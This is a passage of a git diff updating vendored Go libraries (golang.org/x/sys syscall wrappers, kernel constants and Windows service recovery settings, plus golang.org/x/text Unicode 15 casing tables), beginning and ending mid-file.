uintptr(newlength), uintptr(flags), uintptr(newaddr), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func Madvise(b []byte, advice int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go index 0b29239583..0ab4f2ed72 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go @@ -531,3 +531,19 @@ func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, f } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func riscvHWProbe(pairs []RISCVHWProbePairs, cpuCount uintptr, cpus *CPUSet, flags uint) (err error) { + var _p0 unsafe.Pointer + if len(pairs) > 0 { + _p0 = unsafe.Pointer(&pairs[0]) + } else { + _p0 = unsafe.Pointer(&_zero) + } + _, _, e1 := Syscall6(SYS_RISCV_HWPROBE, uintptr(_p0), uintptr(len(pairs)), uintptr(cpuCount), uintptr(unsafe.Pointer(cpus)), uintptr(flags), 0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go index cdb2af5ae0..35f499b32a 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go @@ -1858,3 +1858,14 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldp), uintptr(oldsize), uintptr(newp), uintptr(newsize), uintptr(flags), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go index 9d25f76b0b..3cda65b0da 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go @@ -1858,3 +1858,14 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldp), uintptr(oldsize), uintptr(newp), uintptr(newsize), uintptr(flags), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go index d3f8035169..1e1fea902b 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go @@ -1858,3 +1858,14 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldp), uintptr(oldsize), uintptr(newp), uintptr(newsize), uintptr(flags), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go index 887188a529..3b77da1107 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go @@ -1858,3 +1858,14 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error } return } + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) { + r0, _, e1 := Syscall6(SYS_MREMAP, uintptr(oldp), uintptr(oldsize), uintptr(newp), uintptr(newsize), uintptr(flags), 0) + xaddr = uintptr(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go index 3e594a8c09..ef285c567b 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go @@ -251,6 +251,8 @@ const ( SYS_ACCEPT4 = 242 SYS_RECVMMSG = 243 SYS_ARCH_SPECIFIC_SYSCALL = 244 + SYS_RISCV_HWPROBE = 258 + SYS_RISCV_FLUSH_ICACHE = 259 SYS_WAIT4 = 260 SYS_PRLIMIT64 = 261 SYS_FANOTIFY_INIT = 262 diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go index 7ea465204b..e6ed7d637d 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go @@ -372,6 +372,7 @@ const ( SYS_LANDLOCK_CREATE_RULESET = 444 SYS_LANDLOCK_ADD_RULE = 445 SYS_LANDLOCK_RESTRICT_SELF = 446 + SYS_MEMFD_SECRET = 447 SYS_PROCESS_MRELEASE = 448 SYS_FUTEX_WAITV = 449 SYS_SET_MEMPOLICY_HOME_NODE = 450 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux.go b/vendor/golang.org/x/sys/unix/ztypes_linux.go index 00c3b8c20f..26ef52aafc 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux.go @@ -866,6 +866,11 @@ const ( POLLNVAL = 0x20 ) +type sigset_argpack struct { + ss *Sigset_t + ssLen uintptr +} + type SignalfdSiginfo struct { Signo uint32 Errno int32 @@ -1538,6 +1543,10 @@ const ( IFLA_GRO_MAX_SIZE = 0x3a IFLA_TSO_MAX_SIZE = 0x3b IFLA_TSO_MAX_SEGS = 0x3c + IFLA_ALLMULTI = 0x3d + IFLA_DEVLINK_PORT = 0x3e + IFLA_GSO_IPV4_MAX_SIZE = 0x3f + IFLA_GRO_IPV4_MAX_SIZE = 0x40 IFLA_PROTO_DOWN_REASON_UNSPEC = 0x0 IFLA_PROTO_DOWN_REASON_MASK = 0x1 IFLA_PROTO_DOWN_REASON_VALUE = 0x2 @@ -1968,7 +1977,7 @@ const ( NFT_MSG_GETFLOWTABLE = 0x17 NFT_MSG_DELFLOWTABLE = 0x18 NFT_MSG_GETRULE_RESET = 0x19 - NFT_MSG_MAX = 0x1a + NFT_MSG_MAX = 0x21 NFTA_LIST_UNSPEC = 0x0 NFTA_LIST_ELEM = 0x1 NFTA_HOOK_UNSPEC = 0x0 @@ -3651,7 +3660,7 @@ const ( ETHTOOL_MSG_PSE_GET = 0x24 ETHTOOL_MSG_PSE_SET = 0x25 ETHTOOL_MSG_RSS_GET = 0x26 - ETHTOOL_MSG_USER_MAX = 0x26 + ETHTOOL_MSG_USER_MAX = 0x2b ETHTOOL_MSG_KERNEL_NONE = 0x0 ETHTOOL_MSG_STRSET_GET_REPLY = 0x1 ETHTOOL_MSG_LINKINFO_GET_REPLY = 0x2 @@ -3691,7 +3700,7 @@ const ( ETHTOOL_MSG_MODULE_NTF = 0x24 ETHTOOL_MSG_PSE_GET_REPLY = 0x25 ETHTOOL_MSG_RSS_GET_REPLY = 0x26 - ETHTOOL_MSG_KERNEL_MAX = 0x26 + ETHTOOL_MSG_KERNEL_MAX = 0x2b ETHTOOL_A_HEADER_UNSPEC = 0x0 ETHTOOL_A_HEADER_DEV_INDEX = 0x1 ETHTOOL_A_HEADER_DEV_NAME = 0x2 @@ -3795,7 +3804,7 @@ const ( ETHTOOL_A_RINGS_TCP_DATA_SPLIT = 0xb ETHTOOL_A_RINGS_CQE_SIZE = 0xc ETHTOOL_A_RINGS_TX_PUSH = 0xd - ETHTOOL_A_RINGS_MAX = 0xd + ETHTOOL_A_RINGS_MAX = 0x10 ETHTOOL_A_CHANNELS_UNSPEC = 0x0 ETHTOOL_A_CHANNELS_HEADER = 0x1 ETHTOOL_A_CHANNELS_RX_MAX = 0x2 @@ -3833,14 +3842,14 @@ const ( ETHTOOL_A_COALESCE_RATE_SAMPLE_INTERVAL = 0x17 ETHTOOL_A_COALESCE_USE_CQE_MODE_TX = 0x18 ETHTOOL_A_COALESCE_USE_CQE_MODE_RX = 0x19 - ETHTOOL_A_COALESCE_MAX = 0x19 + ETHTOOL_A_COALESCE_MAX = 0x1c ETHTOOL_A_PAUSE_UNSPEC = 0x0 ETHTOOL_A_PAUSE_HEADER = 0x1 ETHTOOL_A_PAUSE_AUTONEG = 0x2 ETHTOOL_A_PAUSE_RX = 0x3 ETHTOOL_A_PAUSE_TX = 0x4 ETHTOOL_A_PAUSE_STATS = 0x5 - ETHTOOL_A_PAUSE_MAX = 0x5 + ETHTOOL_A_PAUSE_MAX = 0x6 ETHTOOL_A_PAUSE_STAT_UNSPEC = 0x0 ETHTOOL_A_PAUSE_STAT_PAD = 0x1 ETHTOOL_A_PAUSE_STAT_TX_FRAMES = 0x2 @@ -4490,7 +4499,7 @@ const ( NL80211_ATTR_MAC_HINT = 0xc8 NL80211_ATTR_MAC_MASK = 0xd7 NL80211_ATTR_MAX_AP_ASSOC_STA = 0xca - NL80211_ATTR_MAX = 0x141 + NL80211_ATTR_MAX = 0x145 NL80211_ATTR_MAX_CRIT_PROT_DURATION = 0xb4 NL80211_ATTR_MAX_CSA_COUNTERS = 0xce NL80211_ATTR_MAX_MATCH_SETS = 0x85 @@ -4719,7 +4728,7 @@ const ( NL80211_BAND_ATTR_HT_CAPA = 0x4 NL80211_BAND_ATTR_HT_MCS_SET = 0x3 NL80211_BAND_ATTR_IFTYPE_DATA = 0x9 - NL80211_BAND_ATTR_MAX = 0xb + NL80211_BAND_ATTR_MAX = 0xd NL80211_BAND_ATTR_RATES = 0x2 NL80211_BAND_ATTR_VHT_CAPA = 0x8 NL80211_BAND_ATTR_VHT_MCS_SET = 0x7 @@ -4860,7 +4869,7 @@ const ( NL80211_CMD_LEAVE_IBSS = 0x2c NL80211_CMD_LEAVE_MESH = 0x45 NL80211_CMD_LEAVE_OCB = 0x6d - NL80211_CMD_MAX = 0x98 + NL80211_CMD_MAX = 0x99 NL80211_CMD_MICHAEL_MIC_FAILURE = 0x29 NL80211_CMD_MODIFY_LINK_STA = 0x97 NL80211_CMD_NAN_MATCH = 0x78 @@ -5841,6 +5850,8 @@ const ( TUN_F_TSO6 = 0x4 TUN_F_TSO_ECN = 0x8 TUN_F_UFO = 0x10 + TUN_F_USO4 = 0x20 + TUN_F_USO6 = 0x40 ) const ( @@ -5850,9 +5861,10 @@ const ( ) const ( - VIRTIO_NET_HDR_GSO_NONE = 0x0 - VIRTIO_NET_HDR_GSO_TCPV4 = 0x1 - VIRTIO_NET_HDR_GSO_UDP = 0x3 - VIRTIO_NET_HDR_GSO_TCPV6 = 0x4 - VIRTIO_NET_HDR_GSO_ECN = 0x80 + VIRTIO_NET_HDR_GSO_NONE = 0x0 + VIRTIO_NET_HDR_GSO_TCPV4 = 0x1 + VIRTIO_NET_HDR_GSO_UDP = 0x3 + VIRTIO_NET_HDR_GSO_TCPV6 = 0x4 + VIRTIO_NET_HDR_GSO_UDP_L4 = 0x5 + VIRTIO_NET_HDR_GSO_ECN = 0x80 ) diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_386.go b/vendor/golang.org/x/sys/unix/ztypes_linux_386.go index 4ecc1495cd..6d8acbcc57 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_386.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_386.go @@ -337,6 +337,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint32 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go index 34fddff964..59293c6884 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go @@ -350,6 +350,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go b/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go index 3b14a6031f..40cfa38c29 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go @@ -328,6 +328,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint32 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go index 0517651ab3..055bc4216d 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go @@ -329,6 +329,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go index 3b0c518134..f28affbc60 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go @@ -330,6 +330,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go index fccdf4dd0f..9d71e7ccd8 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go @@ -333,6 +333,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint32 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go index 500de8fc07..fd5ccd332a 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go @@ -332,6 +332,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go index d0434cd2c6..7704de77a2 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go @@ -332,6 +332,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go index 84206ba534..df00b87571 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go @@ -333,6 +333,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint32 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go index ab078cf1f5..0942840db6 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go @@ -340,6 +340,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint32 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go index 42eb2c4cef..0348743950 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go @@ -339,6 +339,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go index 31304a4e8b..bad0670475 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go @@ -339,6 +339,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go index c311f9612d..83c69c119f 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go @@ -357,6 +357,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 @@ -716,3 +718,26 @@ type SysvShmDesc struct { _ uint64 _ uint64 } + +type RISCVHWProbePairs struct { + Key int64 + Value uint64 +} + +const ( + RISCV_HWPROBE_KEY_MVENDORID = 0x0 + RISCV_HWPROBE_KEY_MARCHID = 0x1 + RISCV_HWPROBE_KEY_MIMPID = 0x2 + RISCV_HWPROBE_KEY_BASE_BEHAVIOR = 0x3 + RISCV_HWPROBE_BASE_BEHAVIOR_IMA = 0x1 + RISCV_HWPROBE_KEY_IMA_EXT_0 = 0x4 + RISCV_HWPROBE_IMA_FD = 0x1 + RISCV_HWPROBE_IMA_C = 0x2 + RISCV_HWPROBE_KEY_CPUPERF_0 = 0x5 + RISCV_HWPROBE_MISALIGNED_UNKNOWN = 0x0 + RISCV_HWPROBE_MISALIGNED_EMULATED = 0x1 + RISCV_HWPROBE_MISALIGNED_SLOW = 0x2 + RISCV_HWPROBE_MISALIGNED_FAST = 0x3 + RISCV_HWPROBE_MISALIGNED_UNSUPPORTED = 0x4 + RISCV_HWPROBE_MISALIGNED_MASK = 0x7 +) diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go b/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go index bba3cefac1..aa268d025c 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go @@ -352,6 +352,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go index ad8a013804..444045b6c5 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go @@ -334,6 +334,8 @@ type Taskstats struct { Ac_exe_inode uint64 Wpcopy_count uint64 Wpcopy_delay_total uint64 + Irq_count uint64 + Irq_delay_total uint64 } type cpuMask uint64 diff --git a/vendor/golang.org/x/sys/windows/service.go b/vendor/golang.org/x/sys/windows/service.go index c964b6848d..c44a1b9636 100644 --- a/vendor/golang.org/x/sys/windows/service.go +++ b/vendor/golang.org/x/sys/windows/service.go @@ -218,6 +218,10 @@ type SERVICE_FAILURE_ACTIONS struct { Actions *SC_ACTION } +type SERVICE_FAILURE_ACTIONS_FLAG struct { + FailureActionsOnNonCrashFailures int32 +} + type SC_ACTION struct { Type uint32 Delay uint32 diff --git a/vendor/golang.org/x/sys/windows/svc/mgr/recovery.go b/vendor/golang.org/x/sys/windows/svc/mgr/recovery.go index 2e042dd695..321451990b 100644 --- a/vendor/golang.org/x/sys/windows/svc/mgr/recovery.go +++ b/vendor/golang.org/x/sys/windows/svc/mgr/recovery.go @@ -140,3 +140,30 @@ func (s *Service) RecoveryCommand() (string, error) { p := (*windows.SERVICE_FAILURE_ACTIONS)(unsafe.Pointer(&b[0])) return windows.UTF16PtrToString(p.Command), nil } + +// SetRecoveryActionsOnNonCrashFailures sets the failure actions flag. If the +// flag is set to false, recovery actions will only be performed if the service +// terminates without reporting a status of SERVICE_STOPPED. If the flag is set +// to true, recovery actions are also perfomed if the service stops with a +// nonzero exit code. +func (s *Service) SetRecoveryActionsOnNonCrashFailures(flag bool) error { + var setting windows.SERVICE_FAILURE_ACTIONS_FLAG + if flag { + setting.FailureActionsOnNonCrashFailures = 1 + } + return windows.ChangeServiceConfig2(s.Handle, windows.SERVICE_CONFIG_FAILURE_ACTIONS_FLAG, (*byte)(unsafe.Pointer(&setting))) +} + +// RecoveryActionsOnNonCrashFailures returns the current value of the failure +// actions flag. If the flag is set to false, recovery actions will only be +// performed if the service terminates without reporting a status of +// SERVICE_STOPPED. If the flag is set to true, recovery actions are also +// perfomed if the service stops with a nonzero exit code. +func (s *Service) RecoveryActionsOnNonCrashFailures() (bool, error) { + b, err := s.queryServiceConfig2(windows.SERVICE_CONFIG_FAILURE_ACTIONS_FLAG) + if err != nil { + return false, err + } + p := (*windows.SERVICE_FAILURE_ACTIONS_FLAG)(unsafe.Pointer(&b[0])) + return p.FailureActionsOnNonCrashFailures != 0, nil +} diff --git a/vendor/golang.org/x/sys/windows/syscall_windows.go b/vendor/golang.org/x/sys/windows/syscall_windows.go index 9645900754..373d16388a 100644 --- a/vendor/golang.org/x/sys/windows/syscall_windows.go +++ b/vendor/golang.org/x/sys/windows/syscall_windows.go @@ -135,14 +135,14 @@ func Getpagesize() int { return 4096 } // NewCallback converts a Go function to a function pointer conforming to the stdcall calling convention. // This is useful when interoperating with Windows code requiring callbacks. -// The argument is expected to be a function with with one uintptr-sized result. The function must not have arguments with size larger than the size of uintptr. +// The argument is expected to be a function with one uintptr-sized result. The function must not have arguments with size larger than the size of uintptr. func NewCallback(fn interface{}) uintptr { return syscall.NewCallback(fn) } // NewCallbackCDecl converts a Go function to a function pointer conforming to the cdecl calling convention. // This is useful when interoperating with Windows code requiring callbacks. -// The argument is expected to be a function with with one uintptr-sized result. The function must not have arguments with size larger than the size of uintptr. +// The argument is expected to be a function with one uintptr-sized result. The function must not have arguments with size larger than the size of uintptr. func NewCallbackCDecl(fn interface{}) uintptr { return syscall.NewCallbackCDecl(fn) } diff --git a/vendor/golang.org/x/text/cases/tables13.0.0.go b/vendor/golang.org/x/text/cases/tables13.0.0.go index cd874775b3..68d2981d18 100644 --- a/vendor/golang.org/x/text/cases/tables13.0.0.go +++ b/vendor/golang.org/x/text/cases/tables13.0.0.go @@ -1,7 +1,7 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. -//go:build go1.16 -// +build go1.16 +//go:build go1.16 && !go1.21 +// +build go1.16,!go1.21 package cases diff --git a/vendor/golang.org/x/text/cases/tables15.0.0.go b/vendor/golang.org/x/text/cases/tables15.0.0.go new file mode 100644 index 0000000000..e431b99537 --- /dev/null +++ b/vendor/golang.org/x/text/cases/tables15.0.0.go @@ -0,0 +1,2528 @@ +// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. + +//go:build go1.21 +// +build go1.21 + +package cases + +// UnicodeVersion is the Unicode version from which the tables in this package are derived. +const UnicodeVersion = "15.0.0" + +var xorData string = "" + // Size: 213 bytes + "\x00\x06\x07\x00\x01?\x00\x0f\x03\x00\x0f\x12\x00\x0f\x1f\x00\x0f\x1d" + + "\x00\x01\x13\x00\x0f\x16\x00\x0f\x0b\x00\x0f3\x00\x0f7\x00\x01#\x00\x0f?" + + "\x00\x0e'\x00\x0f/\x00\x0e>\x00\x0f*\x00\x0c&\x00\x0c*\x00\x0c;\x00\x0c9" + + "\x00\x0c%\x00\x01\x08\x00\x03\x0d\x00\x03\x09\x00\x02\x06\x00\x02\x02" + + "\x00\x02\x0c\x00\x01\x00\x00\x01\x03\x00\x01\x01\x00\x01 \x00\x01\x0c" + + "\x00\x01\x10\x00\x03\x10\x00\x036 \x00\x037 \x00\x0b#\x10\x00\x0b 0\x00" + + "\x0b!\x10\x00\x0b!0\x001\x00\x00\x0b(\x04\x00\x03\x04\x1e\x00\x0b)\x08" + + "\x00\x03\x0a\x00\x02:\x00\x02>\x00\x02,\x00\x02\x00\x00\x02\x10\x00\x01<" + + "\x00\x01&\x00\x01*\x00\x01.\x00\x010\x003 \x00\x01\x18\x00\x01(\x00\x03'" + + "\x00\x03)\x00\x03+\x00\x03/\x00\x03\x19\x00\x03\x1b\x00\x03\x1f\x00\x01" + + "\x1e\x00\x01\x22" + +var exceptions string = "" + // Size: 2450 bytes + "\x00\x12\x12μΜΜ\x12\x12ssSSSs\x13\x18i̇i̇\x10\x09II\x13\x1bʼnʼNʼN\x11" + + "\x09sSS\x12\x12dždžDž\x12\x12dždžDŽ\x10\x12DŽDž\x12\x12ljljLj\x12\x12ljljLJ\x10\x12LJLj" + + "\x12\x12njnjNj\x12\x12njnjNJ\x10\x12NJNj\x13\x1bǰJ̌J̌\x12\x12dzdzDz\x12\x12dzdzDZ\x10" + + "\x12DZDz\x13\x18ⱥⱥ\x13\x18ⱦⱦ\x10\x1bⱾⱾ\x10\x1bⱿⱿ\x10\x1bⱯⱯ\x10\x1bⱭⱭ\x10" + + "\x1bⱰⱰ\x10\x1bꞫꞫ\x10\x1bꞬꞬ\x10\x1bꞍꞍ\x10\x1bꞪꞪ\x10\x1bꞮꞮ\x10\x1bⱢⱢ\x10" + + "\x1bꞭꞭ\x10\x1bⱮⱮ\x10\x1bⱤⱤ\x10\x1bꟅꟅ\x10\x1bꞱꞱ\x10\x1bꞲꞲ\x10\x1bꞰꞰ2\x12ι" + + "ΙΙ\x166ΐΪ́Ϊ́\x166ΰΫ́Ϋ́\x12\x12σΣΣ\x12\x12βΒΒ\x12\x12θΘΘ\x12\x12" + + "φΦΦ\x12\x12πΠΠ\x12\x12κΚΚ\x12\x12ρΡΡ\x12\x12εΕΕ\x14$եւԵՒԵւ\x10\x1bᲐა" + + "\x10\x1bᲑბ\x10\x1bᲒგ\x10\x1bᲓდ\x10\x1bᲔე\x10\x1bᲕვ\x10\x1bᲖზ\x10\x1bᲗთ" + + "\x10\x1bᲘი\x10\x1bᲙკ\x10\x1bᲚლ\x10\x1bᲛმ\x10\x1bᲜნ\x10\x1bᲝო\x10\x1bᲞპ" + + "\x10\x1bᲟჟ\x10\x1bᲠრ\x10\x1bᲡს\x10\x1bᲢტ\x10\x1bᲣუ\x10\x1bᲤფ\x10\x1bᲥქ" + + "\x10\x1bᲦღ\x10\x1bᲧყ\x10\x1bᲨშ\x10\x1bᲩჩ\x10\x1bᲪც\x10\x1bᲫძ\x10\x1bᲬწ" + + "\x10\x1bᲭჭ\x10\x1bᲮხ\x10\x1bᲯჯ\x10\x1bᲰჰ\x10\x1bᲱჱ\x10\x1bᲲჲ\x10\x1bᲳჳ" + + "\x10\x1bᲴჴ\x10\x1bᲵჵ\x10\x1bᲶჶ\x10\x1bᲷჷ\x10\x1bᲸჸ\x10\x1bᲹჹ\x10\x1bᲺჺ" + + "\x10\x1bᲽჽ\x10\x1bᲾჾ\x10\x1bᲿჿ\x12\x12вВВ\x12\x12дДД\x12\x12оОО\x12\x12с" + + "СС\x12\x12тТТ\x12\x12тТТ\x12\x12ъЪЪ\x12\x12ѣѢѢ\x13\x1bꙋꙊꙊ\x13\x1bẖH̱H̱" + + "\x13\x1bẗT̈T̈\x13\x1bẘW̊W̊\x13\x1bẙY̊Y̊\x13\x1baʾAʾAʾ\x13\x1bṡṠṠ\x12" + + "\x10ssß\x14$ὐΥ̓Υ̓\x166ὒΥ̓̀Υ̓̀\x166ὔΥ̓́Υ̓́\x166ὖΥ̓͂Υ̓͂\x15+ἀιἈΙᾈ" + + 